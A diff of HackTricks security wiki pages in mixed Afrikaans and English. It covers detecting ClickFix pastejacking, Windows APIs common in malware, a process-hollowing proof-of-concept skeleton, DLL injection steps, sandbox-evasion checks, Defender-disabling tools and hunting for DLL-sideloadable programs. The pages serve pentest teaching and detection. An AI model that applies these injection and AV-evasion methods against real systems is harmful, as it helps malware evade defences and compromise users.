- Opstart-artefakte: LNK in `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` wat WScript/CScript aanroep met 'n JS-pad onder `%TEMP%`/`%APPDATA%`.
- Registry/RunMRU en command‑line telemetrie wat `.split('').reverse().join('')` of `eval(a.responseText)` bevat.
- Herhaalde `powershell -NoProfile -NonInteractive -Command -` met groot stdin payloads om lang skripte te voer sonder lang opdragreëls.
- Geskeduleerde take wat daarna LOLBins uitvoer soos `regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"` onder 'n updater‑agtige taak/pad (bv. `\GoogleSystem\GoogleUpdater`).
1. Blaaier verharding – deaktiveer klembord skryf-toegang (`dom.events.asyncClipboard.clipboardItem` ens.) of vereis 'n gebruikersgebaar.
2. Sekuriteitsbewustheid – leer gebruikers om *te tik* sensitiewe opdragte of om dit eers in 'n teksredigeerder te plak.
3. PowerShell Beperkte Taalmodus / Uitvoeringsbeleid + Toepassingbeheer om arbitrêre een-liners te blokkeer.
4. Netwerkbeheer – blokkeer uitgaande versoeke na bekende pastejacking en malware C2 domeine.
Threat hunting
- Daagliks roterende C2-hostname(s) en URL's met die patroon `.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>`.
- Korreleer clipboard write events gevolg deur Win+R-plak en dan onmiddellike `powershell.exe` uitvoering.
## Verwante Truuks
Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:
* **Discord Uitnodiging Hijacking** misbruik dikwels dieselfde ClickFix benadering nadat dit gebruikers na 'n kwaadwillige bediener gelok het:
* Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` hou 'n geskiedenis van **Win + R** opdragte – kyk vir abnormale Base64 / obfuscated inskrywings.
* Security Event ID **4688** (Process Creation) waar `ParentImage` == `explorer.exe` en `NewProcessName` in { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
* Event ID **4663** vir lêerskeppings onder `%LocalAppData%\Microsoft\Windows\WinX\` of tydelike vouers net voor die verdagte 4688‑gebeurtenis.
* EDR clipboard sensors (indien teenwoordig) – korreleer `Clipboard Write` gevolg onmiddellik deur 'n nuwe PowerShell‑proses.
## Mitigations
1. Browser hardening – disable clipboard write-access (`dom.events.asyncClipboard.clipboardItem` etc.) of vereis 'n gebruikergebaar.
2. Security awareness – leer gebruikers om *type* sensitiewe opdragte of eers in 'n teksredigeerder te plak.
3. PowerShell Constrained Language Mode / Execution Policy + Application Control om willekeurige one-liners te blokkeer.
4. Network controls – blokkeer uitgaande versoeke na bekende pastejacking en malware C2‑domeine.
## Related Tricks
* **Discord Invite Hijacking** often abuses the same ClickFix approach after luring users into a malicious server:
{{#ref}}
discord-invite-hijacking.md
@ -85,5 +119,6 @@ discord-invite-hijacking.md
- [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
- [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../../banners/hacktricks-training.md}}

160
src/reversing/common-api-used-in-malware.md
View File

@ -6,7 +6,7 @@
### Netwerk
| Rauwe Sockets | WinAPI Sockets |
| Raw Sockets | WinAPI Sockets |
| ------------- | -------------- |
| socket() | WSAStratup() |
| bind() | bind() |
@ -17,9 +17,14 @@
| write() | send() |
| shutdown() | WSACleanup() |
### Volharding
### TLS pinning and chunked transport
| Registrasie | Lêer | Diens |
Baie loaders pak hul TCP-stroom in `SslStream` in en pin die bediener se leaf certificate teen 'n ingeslote kopie (certificate pinning). Bot-inligting/take word gekompresseer (bv. GZip). Wanneer response 'n drempel oorskry (~1 MB), word data in klein stukkies gefragmenteer (bv. 16 KB-segmente) om grootte-gebaseerde heuristieke te vermy en geheuepieke tydens deserialisasie te verminder.
### Persistensie
| Registry | File | Service |
| ---------------- | ------------- | ---------------------------- |
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
| RegOpenKeyEx() | CopyFile() | CreateService() |
@ -29,7 +34,7 @@
### Enkripsie
| Naam |
| Name |
| --------------------- |
| WinCrypt |
| CryptAcquireContext() |
@ -38,34 +43,51 @@
| CryptDecrypt() |
| CryptReleaseContext() |
### Anti-Analise/VM
### Anti-Analysis/VM
| Funksie Naam | Assembly Instruksies |
| Funksienaam | Assembly-instruksies |
| --------------------------------------------------------- | --------------------- |
| IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot \[Kontroleer of 'n proses loop\] | |
| CreateFileW/A \[Kontroleer of 'n lêer bestaan\] | |
| CreateToolhelp32Snapshot \[Check if a process is running] | |
| CreateFileW/A \[Check if a file exist] | |
### Emulator API fingerprinting & sleep evasion
Malware often fingerprints sandbox emulators deur te soek na Defender se virtualised exports (gesien in die Malware Protection Emulator). As enige van hierdie simbole teenwoordig is (hoofletter-ongevoelige skandering van die proses), word die uitvoering 10–30 minute vertraag en weer nagegaan om ontledingspogings te verspil.
Voorbeelde van API-name wat as canaries gebruik word:
- `MpVmp32Entry`, `MpVmp32FastEnter`, `MpCallPreEntryPointCode`, `MpCallPostEntryPointCode`, `MpFinalize`, `MpReportEvent*`, `MpSwitchToNextThread*`
- `VFS_*` family: `VFS_Open`, `VFS_Read`, `VFS_MapViewOfFile`, `VFS_UnmapViewOfFile`, `VFS_FindFirstFile/FindNextFile`, `VFS_CopyFile`, `VFS_DeleteFile`, `VFS_MoveFile`
- `ThrdMgr_*`: `ThrdMgr_GetCurrentThreadHandle`, `ThrdMgr_SaveTEB`, `ThrdMgr_SwitchThreads`
Tipiese vertragings-primitive (user-land):
```cmd
cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul
```
Argument-toegangsbeheer
- Operateurs vereis soms dat 'n onskadelike-voorkomende CLI-skakel teenwoordig is voordat die payload uitgevoer word (bv. `/i:--type=renderer` om Chromium child processes na te boots). As die skakel afwesig is, sluit die loader onmiddellik, wat naïewe sandbox-uitvoering belemmer.
### Stealth
| Naam | |
| Name | |
| ------------------------ | -------------------------------------------------------------------------- |
| VirtualAlloc | Toewys geheue (packers) |
| VirtualProtect | Verander geheue toestemming (packer gee uitvoerings toestemming aan 'n afdeling) |
| ReadProcessMemory | Inspuiting in eksterne prosesse |
| WriteProcessMemoryA/W | Inspuiting in eksterne prosesse |
| VirtualAlloc | Allokeer geheue (packers) |
| VirtualProtect | Verander geheuepermissie (packer wat 'n afdeling uitvoerbaar maak) |
| ReadProcessMemory | Injection in eksterne prosesse |
| WriteProcessMemoryA/W | Injection in eksterne prosesse |
| NtWriteVirtualMemory | |
| CreateRemoteThread | DLL/Proses inspuiting... |
| CreateRemoteThread | DLL/Process injection... |
| NtUnmapViewOfSection | |
| QueueUserAPC | |
| CreateProcessInternalA/W | |
### Uitvoering
### Execution
| Funksie Naam |
| Function Name |
| ---------------- |
| CreateProcessA/W |
| ShellExecute |
@ -73,72 +95,72 @@
| ResumeThread |
| NtResumeThread |
### Divers
### Miscellaneous
- GetAsyncKeyState() -- Sleutel logging
- SetWindowsHookEx -- Sleutel logging
- GetForeGroundWindow -- Kry die naam van die lopende venster (of die webwerf van 'n blaaier)
- LoadLibrary() -- Importeer biblioteek
- GetProcAddress() -- Importeer biblioteek
- GetAsyncKeyState() -- Key logging
- SetWindowsHookEx -- Key logging
- GetForeGroundWindow -- Kry naam van die lopende venster (of die webtuiste uit 'n browser)
- LoadLibrary() -- Laai biblioteek
- GetProcAddress() -- Vind prosedureadres
- CreateToolhelp32Snapshot() -- Lys lopende prosesse
- GetDC() -- Skermskoot
- BitBlt() -- Skermskoot
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Toegang tot die Internet
- FindResource(), LoadResource(), LockResource() -- Toegang tot hulpbronne van die uitvoerbare
- FindResource(), LoadResource(), LockResource() -- Toegang tot hulpbronne van die uitvoerbare lêer
## Malware Tegnieke
## Malware Techniques
### DLL Inspuiting
### DLL Injection
Voer 'n arbitrêre DLL binne 'n ander proses uit
Execute an arbitrary DLL inside another process
1. Vind die proses om die kwaadwillige DLL in te spuit: CreateToolhelp32Snapshot, Process32First, Process32Next
2. Maak die proses oop: GetModuleHandle, GetProcAddress, OpenProcess
3. Skryf die pad na die DLL binne die proses: VirtualAllocEx, WriteProcessMemory
4. Skep 'n draad in die proses wat die kwaadwillige DLL sal laai: CreateRemoteThread, LoadLibrary
1. Locate the process to inject the malicious DLL: CreateToolhelp32Snapshot, Process32First, Process32Next
2. Open the process: GetModuleHandle, GetProcAddress, OpenProcess
3. Write the path to the DLL inside the process: VirtualAllocEx, WriteProcessMemory
4. Create a thread in the process that will load the malicious DLL: CreateRemoteThread, LoadLibrary
Ander funksies om te gebruik: NTCreateThreadEx, RtlCreateUserThread
Other functions to use: NTCreateThreadEx, RtlCreateUserThread
### Reflektiewe DLL Inspuiting
### Reflective DLL Injection
Laai 'n kwaadwillige DLL sonder om normale Windows API-oproepe te doen.\
Die DLL word binne 'n proses gemap, dit sal die invoeradresse oplos, die herlokasies regmaak en die DllMain-funksie aanroep.
Load a malicious DLL without calling normal Windows API calls.\
The DLL is mapped inside a process, it will resolve the import addresses, fix the relocations and call the DllMain function.
### Draad Hijacking
### Thread Hijacking
Vind 'n draad van 'n proses en laat dit 'n kwaadwillige DLL laai
Find a thread from a process and make it load a malicious DLL
1. Vind 'n teiken draad: CreateToolhelp32Snapshot, Thread32First, Thread32Next
2. Maak die draad oop: OpenThread
3. Suspend die draad: SuspendThread
4. Skryf die pad na die kwaadwillige DLL binne die slagoffer proses: VirtualAllocEx, WriteProcessMemory
5. Herbegin die draad wat die biblioteek laai: ResumeThread
1. Find a target thread: CreateToolhelp32Snapshot, Thread32First, Thread32Next
2. Open the thread: OpenThread
3. Suspend the thread: SuspendThread
4. Write the path to the malicious DLL inside the victim process: VirtualAllocEx, WriteProcessMemory
5. Resume the thread loading the library: ResumeThread
### PE Inspuiting
### PE Injection
Portabele Uitvoering Inspuiting: Die uitvoerbare sal in die geheue van die slagoffer proses geskryf word en daarvandaan uitgevoer word.
Portable Execution Injection: The executable will be written in the memory of the victim process and it will be executed from there.
### Proses Hollowing (ook bekend as **RunPE**)
### Process Hollowing (a.k.a **RunPE**)
`Process Hollowing` is een van die gunsteling **verdediging-ontwyking / uitvoering** truuks wat deur Windows malware gebruik word. Die idee is om 'n *legitieme* proses in die **gesuspendeerde** toestand te begin, die oorspronklike beeld uit geheue te verwyder (hol) en 'n **arbitrêre PE** in sy plek te kopieer. Wanneer die primêre draad uiteindelik herbegin word, voer die kwaadwillige toegangspunt uit onder die dekmantel van 'n vertroude binêre (dikwels deur Microsoft onderteken).
`Process Hollowing` is one of the favourite **defence-evasion / execution** tricks used by Windows malware. The idea is to launch a *legitimate* process in the **suspended** state, remove (hollow) its original image from memory and copy an **arbitrary PE** in its place. When the primary thread is finally resumed the malicious entry-point executes under the guise of a trusted binary (often signed by Microsoft).
Tipiese werksvloei:
Tipiese werkvloei:
1. Begin 'n goedaardige gasheer (bv. `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **gesuspendeer** sodat geen instruksies nog loop nie.
1. Spawn a benign host (e.g. `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **suspended** so that no instructions run yet.
```c
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
```
2. Lees die kwaadwillige payload in geheue en ontleed sy PE kopstukke om `SizeOfImage`, afdelings en die nuwe `EntryPoint` te verkry.
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – ontkoppel die oorspronklike beeldbasis van die gesuspendeerde proses.
4. **VirtualAllocEx** – reserveer RWX geheue van `SizeOfImage` binne die afgeleë proses.
5. **WriteProcessMemory** – kopieer die `Headers` eerste, dan oor afdelings iterasie en kopieer hul ruwe data.
6. **SetThreadContext** – patch die waarde van `EAX/RAX` (`RCX` op x64) of `Rip` in die konteksstruktuur sodat `EIP` na die payload se `EntryPoint` wys.
7. **ResumeThread** – die draad gaan voort, en voer die aanvaller-geleverde kode uit.
2. Read the malicious payload into memory and parse its PE headers to obtain `SizeOfImage`, sections and the new `EntryPoint`.
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – ontkoppel die oorspronklike image base van die gesuspendeerde proses.
4. **VirtualAllocEx** – reserveer RWX-geheue van `SizeOfImage` binne die remote proses.
5. **WriteProcessMemory** – kopieer eers die `Headers`, daarna gaan deur die sections en kopieer hul raw data.
6. **SetThreadContext** – patch die waarde van `EAX/RAX` (`RCX` on x64) of `Rip` in die context-structuur sodat `EIP` na die payload se `EntryPoint` wys.
7. **ResumeThread** – die thread gaan voort en voer die aanvaller-verskafde kode uit.
Minimale bewys-van-konsep (x86) skelet:
Minimal proof-of-concept (x86) skeleton:
```c
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
// 1. create suspended process
@ -166,25 +188,29 @@ ResumeThread(pi.hThread);
```
Praktiese notas waargeneem in die **DarkCloud Stealer** veldtog:
* Die loader het `RegAsm.exe` (deel van die .NET Framework) as gasheer gekies – 'n ondertekende binêre wat onwaarskynlik aandag sal trek.
* Die gedekripteerde VB6 stealer (`holographies.exe`) word *nie* op skyf gelaat nie; dit bestaan slegs binne die uitgeholde proses, wat statiese opsporing moeiliker maak.
* Sensitiewe strings (regexes, paaie, Telegram akrediteer) is **RC4-geënkripteer** per string en word slegs tydens uitvoering gedekripteer, wat geheue skandering verder kompliseer.
* The loader picked `RegAsm.exe` (part of the .NET Framework) as host – a signed binary unlikely to draw attention.
* The decrypted VB6 stealer (`holographies.exe`) is *not* dropped on disk; it only ever exists inside the hollowed process making static detection harder.
* Sensitive strings (regexes, paths, Telegram credentials) are **RC4-encrypted** per-string and only decrypted at runtime, further complicating memory scanning.
Deteksie-idees:
* Alert on `CREATE_SUSPENDED` processes that never create GUI/console windows before a memory region is allocated as **RWX** (rare for benign code).
* Look for a call sequence `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` across different processes.
Opsporingsidees:
* Alarmeer op `CREATE_SUSPENDED` prosesse wat nooit GUI/konsole vensters skep voordat 'n geheuegebied as **RWX** (selde vir goedaardige kode) toegeken word nie.
* Soek vir 'n oproepvolgorde `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` oor verskillende prosesse.
## Hooking
- Die **SSDT** (**System Service Descriptor Table**) verwys na kernfunksies (ntoskrnl.exe) of GUI stuurprogram (win32k.sys) sodat gebruikersprosesse hierdie funksies kan aanroep.
- 'n Rootkit kan hierdie wysers na adresse wat hy beheer, verander.
- **IRP** (**I/O Request Packets**) stuur stukke data van een komponent na 'n ander. Byna alles in die kern gebruik IRP's en elke toestelobjek het sy eie funksietabel wat gehook kan word: DKOM (Direct Kernel Object Manipulation)
- Die **IAT** (**Import Address Table**) is nuttig om afhanklikhede op te los. Dit is moontlik om hierdie tabel te hook om die kode wat aangeroep sal word, te kap.
- **EAT** (**Export Address Table**) Hooks. Hierdie hooks kan vanaf **userland** gedoen word. Die doel is om geexporteerde funksies deur DLL's te hook.
- **Inline Hooks**: Hierdie tipe is moeilik om te bereik. Dit behels die aanpassing van die kode van die funksies self. Miskien deur 'n sprongetjie aan die begin hiervan te plaas.
- The **SSDT** (**System Service Descriptor Table**) points to kernel functions (ntoskrnl.exe) or GUI driver (win32k.sys) so user processes can call these functions.
- A rootkit may modify these pointer to addresses that he controls
- **IRP** (**I/O Request Packets**) transmit pieces of data from one component to another. Almost everything in the kernel uses IRPs and each device object has its own function table that can be hooked: DKOM (Direct Kernel Object Manipulation)
- The **IAT** (**Import Address Table**) is useful to resolve dependencies. It's possible to hook this table in order to hijack the code that will be called.
- **EAT** (**Export Address Table**) Hooks. This hooks can be done from **userland**. The goal is to hook exported functions by DLLs.
- **Inline Hooks**: This type are difficult to achieve. This involve modifying the code of the functions itself. Maybe by putting a jump at the beginning of this.
## References
## Verwysings
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../banners/hacktricks-training.md}}

471
src/windows-hardening/av-bypass.md
View File

@ -6,90 +6,90 @@
## Stop Defender
- [defendnot](https://github.com/es3n1n/defendnot): 'n hulpmiddel om Windows Defender se werking te stop.
- [no-defender](https://github.com/es3n1n/no-defender): 'n hulpmiddel om Windows Defender se werking te stop deur 'n ander AV na te boots.
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
- [defendnot](https://github.com/es3n1n/defendnot): 'n hulpmiddel om Windows Defender te laat ophou werk.
- [no-defender](https://github.com/es3n1n/no-defender): 'n hulpmiddel om Windows Defender te laat ophou werk deur voor te gee 'n ander AV te wees.
- [Skakel Defender uit as jy admin is](basic-powershell-for-pentesters/README.md)
## **AV Ontduikingsmetodologie**
## **AV Evasion Methodology**
Tans gebruik AV's verskillende metodes om te bepaal of 'n lêer kwaadwillig is of nie: statiese deteksie, dinamiese analise, en vir die meer gevorderde EDRs, gedragsanalise.
Tans gebruik AV's verskillende metodes om te kyk of 'n lêer kwaadwillig is of nie: static detection, dynamic analysis, en vir die meer gevorderde EDRs, behavioural analysis.
### **Statiese deteksie**
### **Static detection**
Statiese deteksie word bereik deur bekende kwaadwillige stringe of bytes in 'n binêr of skrip te flag, en ook deur inligting uit die lêer self te onttrek (bv. file description, company name, digital signatures, icon, checksum, ens.). Dit beteken dat die gebruik van bekende publieke tools jou makliker kan laat vasloop, aangesien hulle waarskynlik al ontleed en as kwaadwillig aangeteken is. Daar is 'n paar maniere om hierdie soort deteksie te omseil:
Static detection word bereik deur bekende kwaadwillige stringe of bytes in 'n binêre of skrip aan te dui, en ook deur inligting uit die lêer self te onttrek (bv. file description, company name, digital signatures, icon, checksum, ens.). Dit beteken dat die gebruik van bekende publieke tools jou makliker kan laat vasgevang word, aangesien hulle waarskynlik al geanaliseer en as kwaadwillig aangemerk is. Daar is 'n paar maniere om hierdie soort opsporing te omseil:
- **Enkripsie**
- **Encryption**
As jy die binêr enkripteer, sal daar geen manier wees vir AV om jou program te herken nie, maar jy sal 'n soort loader nodig hê om die program in geheue te deskripteer en uit te voer.
As jy die binêre enkodeer, sal daar geen manier wees vir AV om jou program te ontdek nie, maar jy sal 'n soort loader nodig hê om die program in geheue te ontsleutel en te laat loop.
- **Obfuskasie**
- **Obfuscation**
Soms is dit genoeg om net sekere stringe in jou binêr of skrip te verander om dit verby AV te kry, maar dit kan tydrowend wees afhangend van wat jy probeer obfuskeer.
Soms hoef jy net 'n paar stringe in jou binêre of skrip te verander om dit deur AV te kry, maar dit kan tydrowend wees, afhangend van wat jy probeer obfuskeer.
- **Pasgemaakte gereedskap**
- **Custom tooling**
As jy jou eie tools ontwikkel, sal daar geen bekende slegte signature wees nie, maar dit verg baie tyd en moeite.
As jy jou eie gereedskap ontwikkel, sal daar geen bekende slegte handtekeninge wees nie, maar dit verg baie tyd en moeite.
> [!TIP]
> 'n Goeie manier om teen Windows Defender se statiese deteksie te toets is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Dit verdeel basies die lêer in veelvuldige segmente en laat Defender elke segment individueel scan; op hierdie manier kan dit jou presies vertel watter stringe of bytes in jou binêr geflag is.
> 'n Goeie manier om teen Windows Defender se static detection te toets is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Dit deel basies die lêer in verskeie segmente en dwing Defender om elk afsonderlik te scan; op hierdie manier kan dit jou presies sê watter stringe of bytes in jou binêre aangemerk word.
Ek beveel sterk aan dat jy hierdie [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) oor praktiese AV Evasion nagaan.
Ek beveel sterk aan dat jy hierdie [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) oor praktiese AV Evasion bekyk.
### **Dinamiese analise**
### **Dynamic analysis**
Dinamiese analise is wanneer die AV jou binêr in 'n sandbox laat loop en kyk na kwaadwillige aktiwiteit (bv. probeer om jou blaaier se wagwoorde te ontsleutel en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan bietjie moeilik wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandbokse te ontduik.
Dynamic analysis is wanneer die AV jou binêre in 'n sandbox laat loop en na kwaadwillige aktiwiteit kyk (bv. probeer om jou blaaier se wagwoorde te ontsleutel en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te ontduik.
- **Wag (sleep) voor uitvoering** Afhangend van hoe dit geïmplementeer is, kan dit 'n goeie manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te scan om nie die gebruiker se werkvloei te onderbreek nie, so die gebruik van lang sleeps kan die analise van binêre lêers ontwrig. Die probleem is dat baie AV-sandboxe die slaap eenvoudig kan oorslaan, afhangend van hoe dit geïmplementeer is.
- **Kontroleer masjien se hulpbronne** Gewoonlik het Sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders sou hulle die gebruiker se masjien vertraag. Jy kan hier ook baie kreatief wees, byvoorbeeld deur die CPU se temperatuur of selfs die waaierafsetlae (fan speeds) na te gaan; nie alles sal in die sandbox geïmplementeer wees nie.
- **Masjien-spesifieke kontroles** As jy 'n gebruiker wil teiken wie se werkstasie aan die "contoso.local" domein behoort, kan jy 'n kontrole doen op die rekenaar se domein om te sien of dit met die een wat jy gespesifiseer het ooreenstem; as dit nie ooreenstem nie, kan jy jou program laat beëindig.
- **Sleep before execution** Afhangend van hoe dit geïmplementeer is, kan dit 'n goeie manier wees om AV se dynamic analysis te omseil. AV's het 'n baie kort tyd om lêers te scan om die gebruiker se werkvloei nie te onderbreek nie, so die gebruik van lang sleeps kan die analise van binêre ontwrig. Die probleem is dat baie AV se sandboxes die sleep net kan oorslaan afhangend van hoe dit geïmplementeer is.
- **Checking machine's resources** Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders sou hulle die gebruiker se masjien vertraag. Jy kan hier ook baie kreatief wees, byvoorbeeld deur die CPU se temperatuur of selfs die fan speeds na te gaan — nie alles sal in die sandbox geïmplementeer wees nie.
- **Machine-specific checks** As jy 'n gebruiker wil teiken wie se werkstasie by die "contoso.local" domain aangesluit is, kan jy 'n kontrole op die rekenaar se domain doen om te sien of dit met die een wat jy gespesifiseer het ooreenstem; as dit nie ooreenstem nie, kan jou program eenvoudig afsluit.
Dit blyk dat Microsoft Defender se Sandbox se computername HAL9TH is, so jy kan vir die computer name in jou malware kontroleer voor detonering; as die naam HAL9TH ooreenstem, beteken dit jy is binne Defender se sandbox, en dan kan jy jou program laat afsluit.
Dit blyk dat Microsoft Defender se Sandbox computername HAL9TH is, so jy kan vir die computer name in jou malware kyk voordat dit ontplof; as die naam HAL9TH is, beteken dit jy is binne Defender se sandbox, en jy kan jou program laat afsluit.
<figure><img src="../images/image (209).png" alt=""><figcaption><p>bron: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Sommige ander baie goeie wenke van [@mgeeky](https://twitter.com/mariuszbit) vir die benadering teen Sandboxes
Nog 'n paar regtig goeie wenke van [@mgeeky](https://twitter.com/mariuszbit) vir die teiken van Sandboxes
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev kanaal</p></figcaption></figure>
Soos ons vroeër gesê het in hierdie pos, sal **publieke tools** uiteindelik **gedetecteer word**, so jy moet jouself iets afvra:
Soos ons vroeër in hierdie pos gesê het, sal **public tools** uiteindelik **gedetekteer word**, so jy moet jouself 'n vraag vra:
Byvoorbeeld, as jy LSASS wil dump, **moet jy regtig mimikatz gebruik**? Of kan jy 'n ander projek gebruik wat minder bekend is en ook LSASS dump?
Byvoorbeeld, as jy LSASS wil dump, **moet jy regtig mimikatz gebruik**? Of kan jy 'n ander, minder bekende projek gebruik wat ook LSASS dump?
Die regte antwoord is waarskynlik die laasgenoemde. Neem mimikatz as 'n voorbeeld — dit is waarskynlik een van, indien nie die mees ge-flagte stuk malware deur AVs en EDRs nie; alhoewel die projek self baie cool is, is dit ook 'n nagmerrie om daarmee te werk om rond AV's te kom, so kyk eerder na alternatiewe vir wat jy probeer bereik.
Die regte antwoord is waarskynlik die laasgenoemde. Neem mimikatz as 'n voorbeeld: dit is waarskynlik een van, zo nie die mees, aangemerkte stukke malware deur AV's en EDRs; al is die projek self fantasties, dit is ook 'n nagmerrie om daarmee te werk om rondom AV's te kom, so soek eerder alternatiewe vir wat jy probeer bereik.
> [!TIP]
> Wanneer jy jou payloads wysig vir ontduiking, maak seker om die outomatiese voorbeeldindiening in Defender af te skakel, en asseblief, ernstig: DO NOT UPLOAD TO VIRUSTOTAL as jou doel is om op die lang duur ontduiking te bereik. As jy wil toets of jou payload deur 'n spesifieke AV gedetecteer word, installeer dit op 'n VM, probeer om outomatiese voorbeeldindiening af te skakel, en toets daar totdat jy tevrede is met die resultaat.
> Wanneer jy jou payloads vir omseiling wysig, sorg dat jy die automatic sample submission in Defender afskakel, en asseblief, ernstig, **LAAD NIE NA VIRUSTOTAL OP NIE** as jou doel is om op die lang termyn omseiling te bereik. As jy wil toets of jou payload deur 'n bepaalde AV gedetekteer word, installeer dit op 'n VM, probeer om die automatic sample submission af te skakel, en toets dit daar totdat jy tevrede is met die resultaat.
## EXEs vs DLLs
Wanneer dit moontlik is, prioritiseer altyd die gebruik van DLLs vir ontduiking; uit my ervaring word DLL-lêers gewoonlik baie minder gedetecteer en ontleed, so dit is 'n baie eenvoudige truuk om in sekere gevalle deteksie te vermy (as jou payload natuurlik 'n manier het om as 'n DLL uitgevoer te word).
Waar moontlik, prioritiseer altyd die gebruik van DLLs vir omseiling; uit my ervaring word DLL-lêers gewoonlik baie minder gedetekteer en geanaliseer, so dit is 'n baie eenvoudige truuk om in sekere gevalle opsporing te vermy (as jou payload natuurlik 'n manier het om as 'n DLL te loop).
Soos ons in hierdie beeld kan sien, het 'n DLL Payload van Havoc 'n deteksiekoers van 4/26 op antiscan.me, terwyl die EXE payload 'n 7/26 deteksiekoers het.
Soos ons in hierdie beeld kan sien, het 'n DLL Payload van Havoc 'n detectionsyfer van 4/26 op antiscan.me, terwyl die EXE payload 'n 7/26 detectionsyfer het.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me vergelyking van 'n normale Havoc EXE payload versus 'n normale Havoc DLL</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me vergelyking van 'n normale Havoc EXE payload teen 'n normale Havoc DLL</p></figcaption></figure>
Nou wys ons 'n paar truuks wat jy met DLL-lêers kan gebruik om baie meer onopvallend te wees.
Nou wys ons 'n paar truuks wat jy met DLL-lêers kan gebruik om baie meer stealthy te wees.
## DLL Sideloading & Proxying
**DLL Sideloading** maak voordeel van die DLL-soekorde wat deur die loader gebruik word deur die slagoffer aansoek en die kwaadwillige payload(s) langs mekaar te posisioneer.
**DLL Sideloading** benut die DLL search order wat deur die loader gebruik word deur beide die slagoffer toepassing en kwaadwillige payload(s) langs mekaar te posisioneer.
Jy kan programme nagaan wat vatbaar is vir DLL Sideloading met [Siofra](https://github.com/Cybereason/siofra) en die volgende powershell skrip:
Jy kan programme wat vatbaar is vir DLL Sideloading nagaan met [Siofra](https://github.com/Cybereason/siofra) en die volgende powershell script:
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
Hierdie opdrag sal die lys van programme wat vatbaar is vir DLL hijacking binne "C:\Program Files\\" en die DLL files wat hulle probeer laai, uitset.
Hierdie opdrag sal die lys programme wat vatbaar is vir DLL hijacking binne "C:\Program Files\\" en die DLL-lêers wat hulle probeer laai, uitvoer.
Ek beveel sterk aan dat jy **DLL Hijackable/Sideloadable programs self verken**, hierdie tegniek is redelik onopvallend as dit behoorlik toegepas word, maar as jy publiek-bekende DLL Sideloadable programs gebruik, kan jy maklik gevang word.
Ek beveel sterk aan dat jy **explore DLL Hijackable/Sideloadable programs yourself**, hierdie tegniek is redelik stealthy as dit behoorlik gedoen word, maar as jy openbaar bekende DLL Sideloadable programs gebruik, kan jy maklik gevang word.
Net deur 'n skadelike DLL te plaas met die naam wat 'n program verwag om te laai, sal nie noodwendig jou payload laai nie, want die program verwag sekere spesifieke funksies binne daardie DLL; om hierdie probleem reg te stel, sal ons 'n ander tegniek gebruik wat **DLL Proxying/Forwarding** genoem word.
Net deur 'n kwaadwillige DLL met die naam wat 'n program verwag om te laai te plaas, sal nie noodwendig jou payload laai nie, omdat die program spesifieke funksies binne daardie DLL verwag; om hierdie probleem reg te stel, gaan ons 'n ander tegniek gebruik wat **DLL Proxying/Forwarding** genoem word.
